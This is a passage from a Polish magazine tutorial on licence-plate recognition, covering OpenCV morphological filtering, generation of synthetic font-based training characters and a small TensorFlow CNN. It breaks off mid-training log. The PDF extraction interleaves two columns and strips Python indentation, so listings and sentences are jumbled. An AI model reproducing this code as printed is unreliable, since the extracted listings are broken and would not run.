(ang. anchor), czyli o współrzędnych elementu, który wyznaczy po-
łożenie jądra względem przetwarzanego w danym momencie piksela
obrazu. W większości przypadków kotwicą jest element znajdujący
się w geometrycznym środku jądra.
Przetwarzanie obrazu odbywa się poprzez przyłożenie jądra fil-
tra do wszystkich jego pikseli w taki sposób, by nad przetwarzanym
Rysunek 4. Filtr Sobela wykrywający pionowe krawędzie
w danym momencie pikselem znalazł się element-kotwica (Rysunek 3).
Kolejnym krokiem jest przemnożenie wszystkich wartości znajdują-
cych się w jądrze przez wartości przykrytych przez nie pikseli. Otrzy- Teoretycznie moglibyśmy spróbować skonstruować zestaw filtrów
mujemy w ten sposób zbiór liczb, na których wykonujemy matema- splotowych, które wykrywałyby na obrazie wystąpienia poszczegól-

<80> { 1 / 2022 < 100 > }


/ Problem ANPR /

nych znaków. W praktyce graniczy to jednak z niemożliwością, po- Przede wszystkim instancjonujemy klasę ANPR, wewnątrz której
nieważ litery i cyfry na zdjęciach są często zniekształcone poprzez zawrzemy całą logikę detekcji, a następnie przygotowujemy tablicę
perspektywę, obrót, kurz i brud oraz inne artefakty, co uniemożliwi- ścieżek zdjęć do rozpoznania.
łoby nam dopasowanie ich do – prostych w swojej naturze – filtrów. W naszym przypadku pracować będziemy tylko na jednym obra-
Z pomocą przychodzą tu jednak splotowe sieci neuronowe. Pozwa- zie, ale w praktyce dobrze jest zawczasu wyposażyć się w większy ich
lają one na zdefiniowanie dużej liczby filtrów splotowych w wielu po- zestaw – pozwoli to bardziej realnie ocenić skuteczność programu.
łączonych ze sobą warstwach (które podają sobie nawzajem pośrednie Oczywiście najwygodniej byłoby skorzystać z jakiegoś gotowego ze-
wyniki). Nie musimy jednak samodzielnie definiować żadnych wag: sieć stawu danych. Takie zestawy istnieją i można znaleźć je między inny-
w procesie uczenia dobierze takie ich wartości, by jak najdokładniej roz- mi pod następującymi adresami:
poznać konkretne znaki – nawet wówczas, gdy są one zniekształcone. » kaggle.com/andrewmvd/car-plate-detection
Za chwilę dowiemy się o tym procesie nieco więcej. (433 zdjęcia na licencji CC0 Public Domain).
» public.roboflow.com/object-detection/license-plates-us-eu

DO ROBOTY! (350 zdjęć na licencji CC 4.0).


» web.inf.ufpr.br/vri/databases/ufpr-alpr/
Spróbujmy teraz rozwiązać postawiony na początku problem. Za- (4500 zdjęć z licencją zezwalającą na wykorzystanie do celów
czniemy od wyznaczenia na zdjęciu miejsca, w którym znajduje się edukacyjnych i niekomercyjnych).
tablica rejestracyjna.
Poszukiwanie obiektów na obrazach zawsze warto zacząć od ze- Problem polega jednak na tym, że tablice rejestracyjne stanowią
brania wszystkich ich charakterystycznych cech. Pozwoli to na skon- dane wrażliwe i z ich ewentualną publikacją należy bardzo uważać.
struowanie algorytmu, który skupi się na ich odnalezieniu. Tak więc: Na szczęście samo robienie zdjęć (bez ich publikacji) jest w Polsce
» Tablica rejestracyjna ma prostokątny kształt o (w miarę) stałych legalne, więc wygenerowanie odpowiedniego zbioru testowego może
proporcjach. sprowadzić się do wycieczki w kierunku najbliższego centrum han-
» Ma zwykle białe tło (możemy chwilowo pominąć tablice samo- dlowego i spędzeniu tam kilkunastu minut na fotografowaniu znaj-
chodów elektrycznych, zabytkowych itp.). dujących się tam samochodów (prawdopodobnie pod bacznym
» Znajdują się na niej wyraźne, czarne, cienkie znaki o stałych pro- okiem kręcących się w okolicy ochroniarzy).
porcjach w stosunku do tablicy i pisane zawsze tą samą czcionką. Po zakończeniu wstępnych przygotowań możemy zacząć iterować po
kolejnych zdjęciach. Zanim jednak przekażemy je klasie ANPR, trzeba będzie
Niby to mało, a jednak wystarczająco dużo, by spróbować zarysować je wcześniej nieco przetworzyć. Czas więc zaprzęgnąć do pracy OpenCV.
szkielet algorytmu. Możemy bowiem znaleźć na zdjęciu wszystkie ja-
sne obszary (białe tło), potem z kolei odnaleźć miejsca, w których
OpenCV
znajdują się ciemne detale na jasnym tle (cienkie, czarne litery), i na
koniec wyznaczyć część wspólną obu zbiorów. Pewnie znajdziemy Nazwa OpenCV rozwija się do „Open Computer Vision”. Biblioteka
więcej miejsc, niż byśmy chcieli, ale wśród wyników powinna znaleźć ta implementuje szeroki zbiór algorytmów, które pozwalają przetwo-
się poszukiwana przez nas tablica. rzyć obrazy prawdopodobnie w każdy znany obecnie nauce sposób.
Aby zacząć pracę, musimy najpierw przygotować szkielet całego Muszę uczciwie przyznać, że przez długi czas podchodziłem do tej
programu. Może on wyglądać następująco: popularnej biblioteki jak pies do jeża. Z jakiegoś powodu wyrobiłem
sobie przeświadczenie, że jest niskopoziomowa i pewnie wymaga na-
Listing 2. Szkielet programu
pisania dużych ilości kodu, żeby osiągnąć jakikolwiek efekt.
import os Nic bardziej mylnego.
import cv2
from ANPR import ANPR Sama biblioteka napisana jest wprawdzie w C++ (przez co jest wy-
anpr = ANPR() dajniejsza, niż gdyby była napisana w Pythonie), ale dla Pythona przy-
datapath = ".\\Data\\"
gotowano odpowiedni interfejs, dzięki któremu można jej bardzo łatwo
files = ["snap0.jpg"] # os.listdir(datapath) używać. Na przykład: wywołujemy jedno polecenie i już obraz z dys-
for imagePath in files: ku ląduje w pamięci jako wygodna do dalszego przetwarzania tablica
image = cv2.imread(datapath + imagePath)
numpy (dodajmy też: bardziej wydajna do przetwarzania niż pythono-
height, width, channels = image.shape
image = cv2.resize(image, we listy). Drugie polecenie – i obraz zostaje przekształcony z kolorowe-
dsize=(0, 0),
fx = 800 / width,
go na odcienie szarości. Trzecie polecenie – i obraz zostaje zmniejszo-
fy = 800 / width) ny proporcjonalnie tak, by jego szerokość była równa 800 pikseli. Teraz
gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)
możemy przekazać go naszej klasie do dalszego rozpoznania.
plate = anpr.get_license_plate(gray)

WYSZUKIWANIE TABLICY NA OBRAZIE


if plate != None:
print("Recognized plate for image " +
imagePath + " is " + plate)
else: Przygotujmy teraz szkielet metody, której zadaniem będzie wykrycie
print("Plate not recognized!")
tablicy rejestracyjnej na obrazie (potem rozszerzymy ją o detekcję
cv2.waitKey(0)
znaków). Może ona wyglądać następująco:

{ WWW.PROGRAMISTAMAG.PL } <81>
ALGORYTMIKA

Listing 3. Szkielet klasy realizującej detekcję o nazwie threshold, pozwalająca na skorzystanie z algorytmu Otsu,
który automatycznie stara się dobrać właściwą wartość.
class ANPR:
def get_license_plate(self, gray): Zanim jednak wykonamy samo progowanie, dobrze jest pozbyć
light = self.find_light_areas(gray) się ze zdjęcia artefaktów (śmieci), które będą potem utrudniały reali-
blackhatImage = self.generate_blackhat(gray)
detailAreas = self.generate_detail_areas( zację kolejnych działań. W tym celu wywołujemy operację zamknię-
blackhatImage) cia; na czym jednak ona polega?
plateCandidateAreas =
self.generate_plate_candidate_areas(light, Wśród wszystkich filtrów splotowych istnieją dwa szczególne,
detailAreas) o bardzo prostej implementacji, ale dające bardzo ciekawe wyniki:
contours = self.find_candidate_contours(
plateCandidateAreas) erozja i dylatacja. W obu przypadkach podczas przetwarzania ko-
rzystamy z jednostkowego jądra (czyli takiego, w którym wszystkie
wartości są równe 1), więc w praktyce pracujemy na oryginalnych
W kolejnych etapach: wartościach pikseli z danego obszaru. Potem jednak na wartości
» Generujemy pierwszy pośredni obraz zawierający wszystkie ja- te nakładamy funkcję minimum w przypadku erozji oraz maksimum
sne obszary zdjęcia. w przypadku dylatacji.
» Przygotowujemy drugi pośredni obraz będący efektem działa- Erozja ma nazwę, która bardzo wiernie oddaje działanie tego fil-
nia filtra black-hat, przy pomocy którego odnajdziemy wszyst- tra. Brzegi jasnych kształtów zostają zerodowane, „wyżarte”, a dosta-
kie obszary z ciemnymi detalami. Poddajemy go następnie do- tecznie wąskie lub niewielkie obiekty znikają w ogóle. Dylatacja dzia-
datkowej obróbce. ła z kolei w odwrotny sposób: wzmacnia jasne obiekty, powodując,
» Łączymy oba obrazy, by otrzymać trzeci, reprezentujący wszyst- że robią się one grubsze, bardziej wyraźne.
kie miejsca, w których potencjalnie może znajdować się tablica Bardzo popularną operacją jest łączenie filtrów erozji i dylatacji
rejestracyjna. w celu uzyskania dalszych efektów. Tak więc wykonanie na obrazie
» Na koniec wykrywamy wszystkie spójne obszary i wyznaczamy erozji, a potem dylatacji nazywane jest operacją otwarcia i powodu-
ich kontury. Wykorzystamy je do dalszego przetwarzania. je usunięcie z obrazu dostatecznie małych lub wąskich elementów.
Otwarcie jest szczególnie przydatne do usuwania z obrazu niepo-
Zacznijmy teraz implementować kolejne metody. trzebnych jasnych artefaktów (czyli, mówiąc kolokwialnie, śmieci).
Wywołanie zaś filtrów w odwrotnej kolejności, to jest najpierw dyla-
tacji, a potem erozji, ma oczywiście odwrotny efekt – usuwa z obrazu
Metoda find_light_areas
niewielkie, ciemne obszary („zalewa dziury”).
Ale to nie wszystko! Istnieją jeszcze dwie dalsze operacje, któ-
Listing 4. Metoda find_light_areas
re wykonują odejmowanie na oryginalnym obrazie i wynikach za-
def find_light_areas(self, gray): mknięcia i otwarcia. Tak więc odejmowanie oryginalnego obrazu od
closeKernel = cv2.getStructuringElement( wyniku otwarcia nazywane jest „top-hat”, zaś odejmowanie wyniku
cv2.MORPH_RECT,
ksize = (3, 3)) zamknięcia od oryginalnego obrazu – „black-hat”.
light = cv2.morphologyEx( Po chwili zastanowienia można się domyśleć, jakie są efekty ich
gray,
cv2.MORPH_CLOSE, działania. Skoro otwarcie usuwa z obrazu niewielkie jasne detale,
closeKernel) a pozostawia większe, jeśli odejmiemy jego wynik od oryginalnego
light = cv2.threshold(
light,
obrazu, pozostaną na nim tylko małe, jasne detale (w postaci jasnych
thresh = 0, obszarów), zaś duże, jednolite obszary całkiem znikną. Black-hat daje
maxval = 255,
analogiczne efekty, tyle że pozostawia ciemne detale na jasnym tle.
type = cv2.THRESH_BINARY |
cv2.THRESH_OTSU)[1] Pożądany rozmiar pozostawionych na obrazie detali możemy regulo-
return light wać poprzez wybór mniejszego lub większego jądra przekształcenia.
Zabawne, ile można osiągnąć przy pomocy prostych operacji mini-
Odnalezienie jasnych obszarów na zdjęciu nie należy do najtrudniej- mum i maksimum, prawda?
szych zadań. W zasadzie wystarczy do tego wykonanie operacji pro- Jeżeli powyższy opis jest niejasny, zachęcam do przyjrzenia się
gowania obrazu: Tabeli 1, w której zaprezentowano przykładowy obraz oraz efekty na-
» Wyznaczamy punkt podziału – poziom jasności (na przykład 128). łożenia na niego wszystkich opisanych wcześniej filtrów.
» Zamieniamy wszystkie piksele ciemniejsze od tego punktu na Wróćmy więc do naszej metody. Ponieważ zależy nam na od-
czarne, a równe lub jaśniejsze – na białe. nalezieniu jasnych obszarów, pożądane jest tymczasowe usunięcie
z tablicy rejestracyjnej ciemnych liter – bo właśnie wtedy otrzy-
Pewnym problemem jest oczywiście wybór odpowiedniego punktu mamy elegancki, duży, jasny obszar. Szybki rzut oka na ściągę
podziału, bo w praktyce jest on zależny od warunków panujących pozwoli nam stwierdzić, że to właśnie operacja zamknięcia po-
na zdjęciu. Gdybyśmy bowiem używali zawsze wartości 128, a zdję- winna doprowadzić do osiągnięcia takiego efektu i dlatego też
cie było ogólnie ciemne i wszystkie jego piksele miałyby natężenie właśnie ją stosujemy.
mniejsze od wartości 128, otrzymalibyśmy w wyniku obraz, który Po wywołaniu metody powinniśmy otrzymać mniej więcej taki
byłby cały czarny. Szczęśliwie jednak w bibliotece cv2 istnieje funkcja rezultat, jak na Rysunku 5.

<82> { 1 / 2022 < 100 > }


/ Problem ANPR /

Obraz oryginalny

Erozja Dylatacja

Otwarcie (Erozja → Dylatacja) Zamknięcie (Dylatacja → Erozja)

Top-hat (Obraz – Otwarcie) Black-hat (Zamknięcie – Obraz)

Tabela 1. Filtry splotowe oparte o funkcje minimum i maksimum

Odnalezienie obszarów z ciemnymi detalami jest nieco trudniej-


szym zadaniem. Na wstępie przetwarzamy obraz filtrem black-hat,
który powinien wykryć na obrazie wszystkie jasne detale – Rysunek 6.

Rysunek 5. Wykrywamy jasne obszary na zdjęciu

Metoda generate_blackhat
Listing 5. Metoda generate_blackhat
Rysunek 6. Filtr black-hat wyłowił na obrazie wszystkie detale
def generate_blackhat(self, gray):
blackhatKernel = cv2.getStructuringElement(
cv2.MORPH_RECT, Wygląda to elegancko: litery na tablicy rejestracyjnej zostały bardzo
ksize = (20, 5))
blackhatImage = cv2.morphologyEx( wyraźnie odcięte od tła. Ale wraz z tym pojawiły się dwa inne pro-
gray,
cv2.MORPH_BLACKHAT,
blemy. Po pierwsze, na obrazie jest cała masa do niczego nam nie-
blackhatKernel) potrzebnych dodatkowych detali (żwirek pod drzewem, reflektory,
return blackhatImage
karoserie samochodów, liście itp.). Poza tym litery na tablicy potrze-

{ WWW.PROGRAMISTAMAG.PL } <83>
ALGORYTMIKA

bujemy „rozlać”, aby zamieniły się w wyraźny, prostokątny obszar,


który będziemy mogli przekroić z wykrytymi wcześniej jasnymi ob-
szarami. Właśnie tym zadaniem zajmuje się kolejna metoda.

Metoda generate_detail_areas

Listing 6. Metoda generate_detail_areas

def generate_detail_areas(self, blackhatImage):


details = cv2.blur(
blackhatImage,
ksize = (5, 3))
details = cv2.threshold(
details,
0,
255,
cv2.THRESH_BINARY | cv2.THRESH_OTSU)[1]

openKernel = cv2.getStructuringElement(
cv2.MORPH_RECT, Rysunek 7. Jasne obszary wskazują na występowanie w tym miejscu ciemnych detali na jasnym tle
(2, 2))
details = cv2.morphologyEx(
details,
cv2.MORPH_OPEN,
openKernel) Zgodnie z pierwotnym planem wykonujemy teraz operację prze-
dilateKernel = cv2.getStructuringElement(
kroju (części wspólnej, realizowaną przez bitowe AND), aby odna-
cv2.MORPH_RECT, leźć obszary, które są jasne i jednocześnie zawierają ciemne detale.
ksize = (15, 3))
details = cv2.dilate( W efekcie powinniśmy otrzymać mniej więcej taki obraz:
details,
dilateKernel)

return details

Przede wszystkim musimy pozbyć się możliwie jak największej liczby


niepożądanych artefaktów na zdjęciu. Kuszące jest wywołanie erozji,
ale w przypadku, gdy tablica rejestracyjna będzie na zdjęciu niezbyt
duża, ryzykujemy, że usuniemy w ten sposób również znajdujące się
na niej znaki. Zamiast więc erodować obraz, rozmywamy go. Nie
usunie to wprawdzie artefaktów, ale znacząco je osłabi.
Zaraz potem wywołujemy operację progowania. Wszystkie wy-
kryte detale staną się wtedy białe, a przy odrobinie szczęścia pozbę-
dziemy się również części osłabionych wcześniej artefaktów. Kolejna
ich liczba powinna z kolei poddać się wywoływanej zaraz potem ope-
racji otwarcia. Również i tym razem trzeba uważać, by nie usunąć liter,
dlatego otwarcie wywołujemy z bardzo małym jądrem (2x2 piksele).
Teraz czas na rozlanie liter w poziomie. Skorzystamy w tym celu z filtra
Rysunek 8. Obszary mogące potencjalnie zawierać tablicę rejestracyjną
dylatacji, który wręcz idealnie się do tego celu nada, szczególnie gdy za-
stosujemy jądro o odpowiednim rozmiarze (dobrane eksperymentalnie
15x3 piksele). W efekcie otrzymamy obraz widoczny na Rysunku 7. Również i teraz otrzymaliśmy bardzo dużo rezultatów, ale wciąż: naj-
Mogłoby się wydawać, że nie osiągnęliśmy zbyt wiele – cały obraz ważniejsze jest to, że tablica zajmuje pojedynczy, spójny obszar i jest
pokryty jest teraz poziomymi plamami. Ale to nie problem: najważ- odcięta od innych. To w zupełności nam wystarczy.
niejsze, że taka plama znajduje się w miejscu poszukiwanej przez nas Możemy teraz przystąpić do wyszukiwania obramowań odnale-
tablicy i jest odcięta od innych. zionych obszarów.

Metoda generate_plate_candidate_areas Metoda find_candidate_contours


Listing 7. Metoda generate_plate_candidate_areas
Listing 8. Metoda find_candidate_contours
def generate_plate_candidate_areas(self,
light, def find_candidate_contours(self,
detailAreas): plateCandidateAreas,
plateCandidateAreas = cv2.bitwise_and( keep = 10):
detailAreas, contours = cv2.findContours(
light) plateCandidateAreas,
cv2.RETR_EXTERNAL,
return plateCandidateAreas cv2.CHAIN_APPROX_SIMPLE)[0]

<84> { 1 / 2022 < 100 > }


/ Problem ANPR /

contours = sorted( Jak widać, tablica rejestracyjna została prawidłowo wykryta i znaj-
contours,
key=cv2.contourArea, duje się na 7. pozycji na liście rozpoznanych konturów (w praktyce
reverse=True)[:keep] w większości przypadków znajduje się ona na jednym z pierwszych
return contours
trzech miejsc). Musimy teraz ją „tylko” rozpoznać, a następnie od-
czytać znajdujące się na niej litery. Jak się zaraz okaże, możemy zre-
Biblioteka OpenCV zawiera niesamowicie przydatną funkcję find- alizować oba te zadania naraz.
Contours, która wyszukuje na obrazie wszystkie zamknięte (spójne)
obszary o jednolitym kolorze.
ROZPOZNAWANIE LITER
„Świetnie” – powie ktoś – „ale przecież na naszym obrazie jest ich
całe mnóstwo! Skąd wiemy, że w danym obszarze znajduje się tablica Zróbmy teraz małą przerwę od przetwarzania obrazu i spróbujmy za-
rejestracyjna?” implementować mechanizm OCR, który pomoże nam przetworzyć
To bardzo dobre pytanie i w tym momencie nie jesteśmy niestety znajdujące się na tablicy znaki do zwykłego tekstu.
w stanie udzielić na nie odpowiedzi. Wiemy jednak, że tablica rejestra- Pojedynczy artykuł to zdecydowanie zbyt mało, żeby dokładnie
cyjna zajmuje relatywnie dużo miejsca na obrazie. Możemy więc spró- wyjaśnić zasadę działania splotowych sieci neuronowych, więc ogra-
bować trochę pozgadywać i założyć, że nasza tablica znajdzie się wśród niczę się tylko do krótkiego wprowadzenia. Wszystkich zaintereso-
n największych (według powierzchni) wykrytych konturów. W prakty- wanych zachęcam jednak do sięgnięcia po stosowne pozycje książko-
ce okazuje się, że dla n=10 otrzymujemy bardzo zadowalające wyniki. we (bibliografia znajduje się na końcu artykułu).
Obraz, na którym pracujemy, jest już silnie przetworzony i nie- Problem, z którym się mierzymy, w terminologii uczenia maszy-
wiele na nim widać. Dlatego warto napisać pomocniczą metodę, któ- nowego nazywa się problemem klasyfikacyjnym. Na wejściu dany
ra zwizualizuje wykryte na obrazie obszary – Listing 9. mamy obraz, który pasuje dokładnie do jednej z 34 klas, przy czym
klasa 1 oznacza literę „A”, klasa 2 literę „B” i tak dalej; ostatnie dzie-
Listing 9. Pomocnicza metoda wizualizująca wykryte obszary
sięć klas reprezentuje natomiast cyfry od 0 do 9.
def debug_show_found_rois(self, gray, contours): Splotowa sieć neuronowa rozwiązująca problem klasyfikacyjny
debug_found_rois = gray.copy()
index = 0 działa mniej więcej w sposób przedstawiony na Rysunku 10.
for c in contours:
(x, y, w, h) = cv2.boundingRect(c)
cv2.rectangle(
debug_found_rois,
(x, y),
(x+w, y+h),
(255, 255, 255),
1)
cv2.putText(
debug_found_rois,
str(index),
(x, y),
1,
1,
color = (255, 255, 255))

index = index + 1 Rysunek 10. Ogólny schemat działania splotowej sieci neuronowej
cv2.imwrite("Found ROIs.png", debug_found_rois)

Dodajemy jej wywołanie do naszej głównej metody i podziwiamy Każda z warstw (w obrębie etapów 1, 2 i 3) ma za zadanie przetworze-
wyniki – Rysunek 9. nie danych zwróconych przez poprzednią warstwę (lub w przypadku
pierwszej z nich – danych wejściowych), a następnie przekazanie ich
do dalszego przetworzenia.
Pierwsze warstwy realizują przetworzenie danych przy pomocy
filtrów splotowych – takich samych, jakie poznaliśmy już wcześniej.
Rezultatem ich działania jest tablica liczb, na które znów nakładane
są filtry splotowe – i tak dalej.
Operacja znajdująca się w grupie 2 nazywana jest spłaszczeniem
(ang. flatten) – dwuwymiarowy obraz przekształcany jest w jedno-
wymiarowy ciąg liczb (obraz odczytywany jest wtedy wiersz po wier-
szu). W ten sposób przygotowujemy się do kolejnego etapu, w któ-
rym dane przetwarza już zwykła, gęsta sieć neuronowa.
Ta przetwarza dane, aż do osiągnięcia ostatniego etapu, w którym
znajduje się warstwa wynikowa zawierająca dokładnie 34 neurony.
Stanowi ona wynik klasyfikacji w formacie zwanym „one-hot enco-
ding”. Oznacza to, że w neuronie odpowiadającym klasie, do której
– według sieci – należy wejściowy obraz, znajdzie się liczba 1, zaś we
Rysunek 9. Wykryte, spójne obszary pasujące do naszych pierwotnych wymagań
wszystkich pozostałych – 0.

{ WWW.PROGRAMISTAMAG.PL } <85>
ALGORYTMIKA

Choć sieci neuronowe mogą wydawać się bardzo skomplikowa- Listing 10. Generujemy dane treningowe dla sieci neuronowej
nym tworem, w ich wnętrzu zachodzą stosunkowo proste operacje.
from PIL import Image, ImageFont, ImageDraw
W pierwszym etapie następuje nałożenie na obraz filtra splotowego from random import random
import os
(lub wielu filtrów), o którym mowa była na początku artykułu. Drugi import numpy as np
etap to przekształcenie tablicy na listę, a w trzecim każda kreska po- import cv2

między dwoma neuronami oznacza przemnożenie przez pewną licz- chars = ('A', 'B', 'C', 'D', 'E',
'F', 'G', 'H', 'I', 'J',
bę (zwanej wagą) i dodanie innej (zwanej biasem). 'K', 'L', 'M', 'N', 'O',
Natychmiast rodzi się oczywiście pytanie: skąd sieć będzie wie- 'P', 'R', 'S', 'T', 'U',
'V', 'W', 'Y', 'Z', '0',
działa, jakie filtry, wagi i biasy zastosować, by klasyfikacja została '1', '2', '3', '4', '5',
'6', '7', '8', '9')
przeprowadzona prawidłowo?
Wierzcie lub nie, na początku wszystkie filtry i wartości są całko- font = ImageFont.truetype(
".\\Font\\arklatrs.ttf", 36)
wicie losowe. Następnie przeprowadzany jest jednak na sieci proces
imwidth = 30
uczenia, który polega na wielokrotnym pokazywaniu jej danych tre- imheight = 40
ningowych: obrazów, które zostały już wcześniej manualnie sklasyfi- def rotate(image,
kowane. Sieć próbuje wtedy rozpoznać obraz, a my sprawdzamy, jak angle,
center=None,
bardzo się pomyliła w swoim oszacowaniu. Następnie wartości wag scale=1.0):
oraz filtry splotowe są delikatnie modyfikowane w taki sposób, by na- (h, w) = image.shape[:2]
stępnym razem sieć dała wynik bardziej zbliżony do oczekiwanego. if center is None:
Zainteresowanych tym procesem zachęcam szczególnie do się- center = (w // 2, h // 2)

gnięcia do pozycji [1], w której autor bardzo łagodnie wprowadza M = cv2.getRotationMatrix2D(


center,
czytelnika w szczegóły implementacji sieci neuronowych; czytelnik angle,
ma w trakcie tego procesu możliwość zaimplementowania własnej scale)
rotated = cv2.warpAffine(
sieci neuronowej od zera. image,
M,
W przypadku bardziej skomplikowanych problemów pisanie wszyst- (w, h))
kiego od podstaw nie ma oczywiście większego sensu, więc w naszym
return rotated
przypadku skorzystamy z biblioteki TensorFlow, która pozwala na
def genChar(char, target_path, count):
szybkie zbudowanie sieci, wytrenowanie jej i wykorzystanie do prze- for j in range(0, count):
im = Image.new(
twarzania nowych danych. 'L',
(imwidth, imheight),
0)
DANE TRENINGOWE draw = ImageDraw.Draw(im)

(_, _, w, h) = font.getbbox(
Zanim jednak napiszemy sieć, musimy rozwiązać pewien kluczowy char,
anchor="lt")
problem. Nie mamy żadnych danych testowych! (x, y) = ((imwidth - w) / 2,
Aby dobrze wytrenować sieć, musimy dysponować minimum (imheight - h) * 0.3 / 2)

kilkoma tysiącami przypadków. Wyjście na ulicę i zrobienie kilkuset draw.text(


(x, y),
zdjęć, a potem ręczne odzyskanie z nich pojedynczych znaków i zapi- char,
fill = 255,
sanie ich w odpowiednich klasach raczej nie wchodzi w grę. Musimy font = font)
więc poradzić sobie w inny sposób.
cvImage = np.array(im)
Uratuje nas to, że polskie tablice rejestracyjne mają unormowaną
# Apply random horizontal scale
czcionkę. Mamy więc pewność, że każdy znak będzie zawsze wyglą-
cvImage = cv2.resize(
dał w ten sam sposób – modulo, oczywiście, jego przestrzenne poło- cvImage,
żenie, zależne od tego, pod jakim kątem i z jakiej odległości fotograf dsize = (0, 0),
fx = 1.0 - random() * 0.3,
zrobił mu zdjęcie. Zamiast przygotowywać dane testowe możemy fy = 1.0)
(h, w) = cvImage.shape
je więc wygenerować. l = (imwidth - w) // 2
Pierwszym krokiem będzie odnalezienie w Internecie odpowied- r = (imwidth - w) - l
cvImage = cv2.copyMakeBorder(
niej czcionki. Kilka serwisów oferuje jej sprzedaż, w innych miej- cvImage,
scach można ją po prostu ściągnąć. W najgorszym wypadku można 0,
0,
też skorzystać z takiego serwisu jak na przykład fonts.google.com l,
r,
i znaleźć czcionkę, która wygląda w miarę podobnie, przy czym cv2.BORDER_CONSTANT)
oczywiście zmniejszy to skuteczność mechanizmu rozpoznawania
# Apply random rotation
znaków.
cvImage = rotate(
Gdy już wyposażymy się w odpowiedni plik, możemy napisać cvImage,
(random() - 0.5) * 16)
skrypt, który wygeneruje nam dużą liczbę danych treningowych.
# Apply random downscaling
# (scale down + scale up)

<86> { 1 / 2022 < 100 > }


/ Problem ANPR /

ratio = 1.0 - random() * 0.4 Listing 11. Budujemy i trenujemy sieć neuronową
cvImage = cv2.resize(
cvImage, from tensorflow.keras.preprocessing.image
dsize = (0, 0), import ImageDataGenerator
fx = ratio, from tensorflow.keras.models
fy = ratio, import Sequential
interpolation = cv2.INTER_CUBIC) from tensorflow.keras.layers
cvImage = cv2.resize( import Activation, Dropout, Flatten,
cvImage, Dense, Conv2D, MaxPooling2D
dsize = (imwidth, imheight)) import cv2
# Apply random threshold import numpy as np

cvImage = cv2.threshold( imgen = ImageDataGenerator()


cvImage, train_gen = imgen.flow_from_directory(
128 + (random() - 0.5) * 48, ".\\TrainingData",
maxval = 255, target_size = (40, 30),
type = cv2.THRESH_BINARY)[1] color_mode = "grayscale")
test_gen = imgen.flow_from_directory(
# Save image ".\\TestData",
target_size = (40, 30),
path = target_path + "\\Class%02d" % i
color_mode = "grayscale")
if not os.path.isdir(path):
os.makedirs(path) image_shape = train_gen.image_shape

im = Image.fromarray(cvImage) model = Sequential()


im.save(path + "\\image%d.png" % j) model.add(Conv2D(
filters = 16,
for i in range(0, len(chars)): kernel_size = (3, 3),
input_shape = image_shape,
# Get character to render activation="relu"))
char = chars[i] model.add(MaxPooling2D(pool_size=(2, 2)))

genChar(char, ".\\TrainingData", 300) model.add(Conv2D(


genChar(char, ".\\TestData", 80)
filters = 16,
kernel_size = (3, 3),
input_shape = image_shape,
Powyższy programik ma za zadanie wygenerowanie dużej liczby zna- activation="relu"))
model.add(MaxPooling2D(pool_size=(2, 2)))
ków według następujących reguł:
» Renderujemy znak o rozmiarze 36 punktów na środku prosto- model.add(Flatten())

kąta o rozmiarach 30x40 pikseli (za chwilę wymiary te okażą się model.add(Dense(256, activation = "relu"))

bardzo istotne). model.add(Dropout(0.5))


» Aplikujemy mu losową poziomą skalę (od 0.7 do 1.3) – symu- model.add(Dense(34, activation = "softmax"))
luje to zrobienie zdjęcia tablicy poziomo pod pewnym kątem. model.compile(
» Aplikujemy mu losową rotację (od -8° do 8°) – symulujemy w ten loss="categorical_crossentropy",
optimizer="rmsprop",
sposób niedokładnie zrobione zdjęcie. metrics = ['accuracy'])
» Aplikujemy losowy downscaling (zmniejszamy cały obrazek, a po- results = model.fit(
tem powiększamy go z powrotem), co pomoże sieci nauczyć się train_gen,
epochs=8,
rozpoznawania znaków w przypadku, gdy będą one mniejsze od validation_data=test_gen)
tych, które znajdą się w zbiorze treningowym. model.save(".\\LetterRecognitionModel.h5")
» Aplikujemy losowe progowanie – w ten sposób uszkodzimy nie-
co krawędzie znaku.
» Zapisujemy teraz obraz na dysku i powtarzamy cały proces od nowa. Prześledźmy teraz proces budowania naszej sieci.
Klasyfikacja obrazów jest jednym z bardziej popularnych zasto-
Po uruchomieniu powyższego skryptu powinniśmy otrzymać dwa sowań sieci neuronowych, więc w bibliotece TensorFlow znajdziemy
katalogi o nazwach TrainingData oraz TestData, zawierające odpo- klasy, które pomogą nam przygotować odpowiednie dane testowe.
wiednio po 300 i po 80 wylosowanych znaków dla każdej klasy. Na przykład wystarczy skorzystać z klasy ImageDataGenerator,
Poniżej możemy zobaczyć, jak wygląda kilka wygenerowanych by szybko wczytać obrazy treningowe i przygotować je do dalszego
obrazków. przetwarzania. Nie ma co ukrywać – oszczędza to dużo czasu pod-
czas budowania i uczenia sieci.
Teraz budujemy model: jest on sekwencyjny (bo każda warstwa
przekazuje dane bezpośrednio do kolejnej), więc korzystamy z mo-
delu o nazwie Sequential. W następnym etapie będziemy konfigu-
Tabela 2. Kilka przykładowych danych treningowych dla sieci neuronowej
rować kolejne warstwy sieci.
Na początku dodajemy warstwę splotową (Conv2D), która prze-
SIEĆ NEURONOWA tworzy dane wejściowe. Decydujemy się na 16 różnych filtrów sploto-
wych, jądro o rozmiarze 3x3 piksele oraz definiujemy, jaki wymiar ma
Możemy teraz napisać i wytrenować sieć neuronową. Stosowny wejściowy obraz. Zaraz za nią umieszczamy warstwę MaxPooling2D,
skrypt w Pythonie wygląda następująco: której zadaniem jest zmniejszenie zestawu danych poprzez wybie-

{ WWW.PROGRAMISTAMAG.PL } <87>
ALGORYTMIKA

Listing 12. Wyniki uczenia sieci neuronowej

Epoch 1/8
319/319 [==============================] - 7s 19ms/step - loss: 1.8875 - accuracy: 0.8248 - val_loss: 0.0031 - val_accuracy: 0.9993
Epoch 2/8
319/319 [==============================] - 5s 16ms/step - loss: 0.1067 - accuracy: 0.9775 - val_loss: 0.0073 - val_accuracy: 0.9985
Epoch 3/8
319/319 [==============================] - 5s 17ms/step - loss: 0.0526 - accuracy: 0.9885 - val_loss: 0.0033 - val_accuracy: 0.9996
Epoch 4/8
319/319 [==============================] - 5s 17ms/step - loss: 0.0392 - accuracy: 0.9926 - val_loss: 0.0011 - val_accuracy: 0.9996
Epoch 5/8
319/319 [==============================] - 5s 17ms/step - loss: 0.0268 - accuracy: 0.9964 - val_loss: 0.0022 - val_accuracy: 0.9996
Epoch 6/8
319/319 [==============================] - 5s 17ms/step - loss: 0.0263 - accuracy: 0.9949 - val_loss: 0.0023 - val_accuracy: 0.9996
Epoch 7/8
319/319 [==============================] - 5s 16ms/step - loss: 0.0172 - accuracy: 0.9971 - val_loss: 6.5947e-04 - val_accuracy: 0.9996
Epoch 8/8
